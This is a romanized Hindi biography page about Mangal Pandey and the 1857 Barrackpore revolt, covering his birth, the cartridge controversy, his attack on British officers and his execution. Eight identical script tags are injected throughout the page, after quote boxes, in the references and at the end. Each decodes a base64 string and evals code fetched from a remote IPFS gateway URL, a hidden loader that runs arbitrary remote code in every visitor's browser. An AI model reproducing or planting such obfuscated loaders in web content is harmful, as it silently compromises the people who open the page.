मंगल पांडे
mangal paande
| |
| poora nam | mangal paande |
| janm | 19 julaee, 1827 ee. |
| janm bhoomi | nagava gaanv, baliya zila athava surahurapur gram, faizabad zila, uttar pradesh[1] |
| mrityu | 8 aprail, 1857 ee. |
| mrityu sthan | bairakapur, kalakatta (ab kolakata) |
| mrityu karan | phaansi |
| abhibhavak | pita- divakar paande, mata- abhay rani |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani |
| dharm | hindoo |
| aandolan | bharatiy svadhinata sangram, 1857 |
| pramukh sangathan | jang-e-azadi |
| any janakari | 8 aprail ka din mangal paande ki phaansi ke lie nishchit kiya gaya. bairakapur ke jalladoan ne mangal paande ke pavitr khoon se apane hath rangane se inakar kar diya. tab kalakatta se char jallad bulae ge. aprail, 1857 ke soory ne udit hokar mangal paande ke balidan ka samachar sansar mean prasarit kar diya. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mangal paande athava mangal pandey (aangrezi: Mungal Pandey athava Mangal Pandey, janm: 19 julaee, 1827; mrityu: 8 aprail, 1857) ka nam 'bharatiy svadhinata sangram' mean agrani yoddhaoan ke roop mean liya jata hai, jinake dvara bh dakaee gee kraanti ki jvala se aangrez eest iandiya kanpani ka shasan buri tarah hil gaya tha. mangal paande ki shahadat ne bharat mean pahali kraanti ke bij boe the. brahmadesh (barma {vartaman myaanmar}) par vijay tatha sikkh yuddh ki samapti ke pashchath aangrezoan ne bharatavarsh par nishkantak rajy karane ke sapane dekhean hoange; par unhean kya pata tha ki san 1857 ka varsh unaki ashaoan par tusharapat ka varsh siddh hoga.
janm aur parivar
kraantikari mangal paande ka janm 19 julaee, 1827 ko uttar pradesh ke baliya zile ke nagava gaanv mean hua tha. kuchh sandarbhoan mean inaka janm sthal faizabad zile ki akabarapur tahasil ke surahurapur gram mean bataya gaya hai.[1] inake pita ka nam divakar paande tatha mata ka nam shrimati abhay rani tha. ve kolakata (bhootapoorv kalakatta) ke pas bairakapur ki sainik chhavani mean "34vian bangal netiv inphaiantri" ki paidal sena ke 1446 nambar ke sipahi the. bharat ki azadi ki pahali l daee arthath 1857 ke sangram ki shuruat unhian ke vidroh se huee thi.
jang-e-azadi
'bharatiy itihas' mean 29 march, 1857 ka din aangrezoan ke lie durbhagy ke din ke roop mean udit hua. paanchavi kanpani ki chauantisavian rejimeant ka 1446 nan. ka sipahi viravar mangal paande aangrezoan ke lie pralay-soory ke saman nikala. bairakapur ki sanchalan bhoomi mean pralayavir mangal paande ka ranaghosh gooanj utha-
"bandhuo! utho! utho! tum ab bhi kis chianta mean nimagn ho? utho, tumhean apane pavan dharm ki saugandh! chalo, svatantry lakshmi ki pavan archana hetu in atyachari shatruoan par tatkal prahar karo."
mangal paande ke badale hue tevar dekhakar aangrez sarajeant mejar hyoosan usane path ko avaruddh karane ke lie age badha. usane us vidrohi ko usaki uddandata ka puraskar dena chaha. apani k dakati avaz mean usane mangal paande ko kh da rahane ka adesh diya. vir mangal paande ke araman machal uthe. vah shivashankar ki bhaanti sannaddh hokar raktaganga ka ahvan karane laga. usaki sabal bahuoan ne bandook tan li. usaki sadhi huee uangaliyoan ne bandook ka gho da apani or khiancha aur ghu d d ghooansss ka tivr svar ghahara utha. mejar hyasan ghayal kabootar ki bhaanti bhoomi par t dap raha tha. usaka rakt bharat ki dhool chat raha tha. 1857 ke kraantikari ne ek phirangi ki bali le li thi. viplav mahayajn ke purodha mangal paande ki bandook pahala 'svara' bol chuki thi. svatantry yajn ki vedi ko dasyu-deh ki samidha arpit ho chuki thi.
|
chitr:Blockquote-open.gif
khabaradar, jo koee age badha! aj ham tumhare apavitr hathoan ko brahman ki pavitr deh ka sparsh nahian karane deange.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hyasan ko dharashayi hua dekh lephtineant b aaub vahaan ja pahuancha. us ashvaroodh gore ne mangal paande ko gherana chaha. pahala gras khakar mangal paande ki bandook ki bhookh bh dak uthi thi. usane doosari bar muanh khola aur lephtineant b aaub gho de sahit bhoo-luanthit hota dikhaee diya. girakar bhi b aaub ne apani pistaul mangal paande ki or sidhi karake goli chala di. vidyut gati se vir mangal paande goli ka var bacha gaye aur b aaub khisiyakar rah gaya. apani pistaul ko muanh ki khati huee dekh b aaub ne apani talavar khianch li aur vah mangal paande par toot p da. mangal paande bhi kachche khila di nahian the. b aaub ne mangal paande par prahar karane ke lie talavar tani hi thi ki mangal paande ki talavar ka bharapoor hath us par aisa p da ki b aaub ka kandha aur talavar vala hath j d se katakar alag ja gira. ek bali mangal paande ki bandook le chuki thi aur doosari usaki talavar ne le li. thumb|250px|mangal paande ki tikat lephtineant b aaub ko gira hua dekh ek doosara aangrez mangal paande ki or badha hi tha ki mangal paande ke sathi bharatiy sainik ne apani bandook dande ki bhaanti us aangrez ki khop di par de mari. aangrez ki khop di khul gee. apane adamiyoan ko girate hue dekh karnal vhilar mangal paande ki or badha; par sabhi kruddh bharatiy sianh garjana kar uthe-
"khabaradar, jo koee age badha! aj ham tumhare apavitr hathoan ko brahman ki pavitr deh ka sparsh nahian karane deange."
karnal vhilar jaisa aya tha vaisa hi laut gaya. is sare kaand ki soochana apane janaral ko dekar, aangrezi sena ko batorakar le ana usane apana dharm samajha. jang-e-azadi ke pahale senani mangal paande ne 1857 mean aisi chiangari bh dakaee, jisase dilli se lekar landan tak ki british hukoomat hil gee.
nara 'maro phirangi ko'
"maro phirangi ko" yah prasiddh nara bharat ki svadhinata ke lie sarvapratham avaz uthane vale kraantikari mangal paande ki jubaan se 1857 ki kraanti ke samay nikala tha. bharat ki azadi ke lie kraanti ka agaz 31 mee, 1857 ko hona tay hua tha, parantu yah do mah poorv 29 march, 1857 ko hi arambh ho gee. mangal paande ko azadi ka sarvapratham krantikari mana jata hai. 'phirangi' arthath 'aangrez ya british jo us samay desh ko gulam banae hue the, ko kraantikariyoan v bharatiyoan dvara phirangi nam se pukara jata tha. gulam janata tatha sainikoan ke hriday mean kraanti ki jal rahi ag ko dhadhakane ke lie v l dakar azadi lene ki ichchha ko darshane ke lie yah nara mangal paande dvara guanjaya gaya tha.[2]
aangrezi sena dvara bandi
vir mangal paande ne apane kartavy ki poorti kar di thi. shatru ke rakt se bharat bhoomi ka tarpan kiya tha. matribhoomi ki svadhinata jaise mahat kary ke lie apani raktaanjali dena bhi apana pavan kartavy samajha. mangal paande ne apani bandook apani chhati se a dakar goli chho d di. goli chhati mean sidhi n jati huee pasali ki taraph phisal gee aur ghayal mangal paande aangrezi sena dvara bandi bana liye gaye. aangezoan ne bharasak prayatn kiya ki ve mangal paande se kraanti yojana ke vishay mean usake sathiyoan ke nam-pate poochh sakean; par vah mangal paande the, jinaka muanh apane sathiyoan ko phansane ke lie khula hi nahian.
karatoos ghatana
1857 ke vidroh ka prarambh ek bandook ki vajah se hua tha. sipahiyoan ko 1853 mean enafild bandook di gayi thian, jo ki 0.577 kailibar ki bandook thi tatha purani aur kee dashakoan se upayog mean layi ja rahi braun bais ke mukabale mean shaktishali aur achook thi. nayi bandook mean goli dagane ki adhunik pranali ka prayog kiya gaya tha, parantu bandook mean goli bharane ki prakriya purani thi. nayi enafild bandook bharane ke liye karatoos ko daantoan se kat kar kholana p data tha aur usame bhare hue barood ko bandook ki nali mean bhar kar karatoos mean dalana p data tha. karatoos ka bahari avaran mean charbi hoti thi, jo ki use nami arthath pani ki silan se bachati thi.
|
chitr:Blockquote-open.gif
bandhuo! utho! utho! tum ab bhi kis chianta mean nimagn ho? utho, tumhean apane pavan dharm ki saugandh! chalo, svatantry lakshmi ki pavan archana hetu in atyachari shatruoan par tatkal prahar karo.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sipahiyoan ke bich afavah fail chuki thi ki karatoos mean lagi huee charbi suar aur gay ke maans se banayi jati hai. yah hindoo aur musalaman sipahiyoan donoan ki dharmik bhavanaoan ke viruddh tha. aangrej afasaroan ne ise aphavah bataya aur sujhav diya ki sipahi naye karatoos banayean, jisamean bakare ya madhumakkkhi ki charbi prayog ki jaye. is sujhav ne sipahiyoan ke bich faili is aphavah ko aur mazaboot kar diya. doosara sujhav yah diya gaya ki sipahi karatoos ko daantoan se katane ki bajay hathoan se kholean. parantu sipahiyoan ne ise ye kahate hue asvikar kar diya ki ve kabhi bhi nayi kavayad ko bhool sakate haian aur daantoan se karatoos ko kat sakate haian. tatkalin aangrej afasar pramukh (bharat) jarj enasan ne apane afasaroan ki salah ko darakinar hue is kavayad aur nayi bandook se utpann huee samasya ko sulajhane se mana kar diya.[3]
29 march sanh 1857 ko ne karatoos ko prayog karavaya gaya, mangal pande ne ajna manane se mana kar diya aur dhokhe se dharm ko bhrasht karane ki koshish ke khilaf unhean bhala-bura kaha, is par aangrej afasar ne sena ko hukam diya ki use giraphtar kiya jaye, sena ne hukm nahian mana. palatan ke sarjeant hadasan svany mangal paande ko pak dane age badha to, paande ne use goli mar di, tab lephtineant bal age badha to use bhi paande ne goli mar di. ghatanasthal par maujood any aangrez sipahiyoan nean mangal paande ko ghayal kar pak d liya. unhoanne apane any sathiyoan se unaka sath dene ka ahvan kiya. kintu unhoanne unaka sath nahian diya. un par muqadama (kort marshal) chalakar 6 aprail, 1857 ko maut ki saza suna di gee.
nidhan
fauji adalat ne nyay ka natak racha aur phaisala suna diya gaya. 8 aprail ka din mangal paande ki phaansi ke lie nishchit kiya gaya. bairakapur ke jalladoan ne mangal paande ke pavitr khoon se apane hath rangane se inakar kar diya. tab kalakatta se char jallad bulae ge. 8 aprail, 1857 ke soory ne udit hokar mangal paande ke balidan ka samachar sansar mean prasarit kar diya. bharat ke ek vir putr ne azadi ke yajn mean apane pranoan ki ahuti de di. vir mangal paande ke pavitr pran-havy ko pakar svatantry yajn ki lapatean bh dak uthian. kraanti ki ye lapalapati huee lapatean phirangiyoan ko lil jane ke lie charoan or phailane lagian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 Ahuja, M. L.. Eminent Indians: Revolutionaries (hiandi) googal buks. abhigaman tithi: 13 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kaun-sa nara kisane diya (hiandi) gk-in-hindi.com. abhigaman tithi: 03 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ pratham kraantipurush : kraantikari mangal paande balidan divas (hindi) (ech.ti.em.el) jay jay bharat. abhigaman tithi: 7 julaee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>